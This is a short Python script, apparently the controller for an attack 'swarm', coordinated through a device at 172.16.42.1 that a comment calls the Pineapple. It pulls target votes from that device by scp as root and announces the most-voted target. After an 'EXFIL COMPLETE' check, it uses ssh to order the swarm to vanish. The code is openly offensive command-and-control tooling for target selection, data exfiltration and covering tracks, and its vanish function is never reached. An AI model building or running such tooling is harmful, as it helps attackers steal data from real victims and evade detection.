/ swarm_brain.py
swarm_brain.py
 1  import os, subprocess, time
 2  
 3  def analyze_votes():
 4      print("[*] BRAIN: Analyzing collective swarm data...")
 5      # Pull the votes from the Pineapple
 6      os.system("scp root@172.16.42.1:/tmp/swarm_votes.log /tmp/current_votes.log")
 7      
 8      with open("/tmp/current_votes.log", "r") as f:
 9          votes = f.readlines()
10      
11      # Use llmswarm logic to find the 'Winner'
12      # Simulation: The most mentioned target becomes the primary objective
13      targets = [v.split("|")[1] for v in votes if "TARGET" in v]
14      if targets:
15          winner = max(set(targets), key=targets.count)
16          print(f"[!] CONSENSUS REACHED: All nodes moving to target {winner}")
17          return winner
18      return None
19  
20  if __name__ == "__main__":
21      while True:
22          analyze_votes()
23          time.sleep(30) # Re-evaluate every 30 seconds
24  
25  def check_and_vanish():
26      # If our reassembled file matches the expected size/hash
27      if os.path.exists("restored_data.db"):
28          print("[!] EXFIL COMPLETE: Commanding Swarm to vanish.")
29          # Push the 'EXIT' directive to the Pineapple bridge
30          os.system("ssh root@172.16.42.1 'echo \"EXIT\" > /tmp/swarm_directive'")
31          return True
32      return False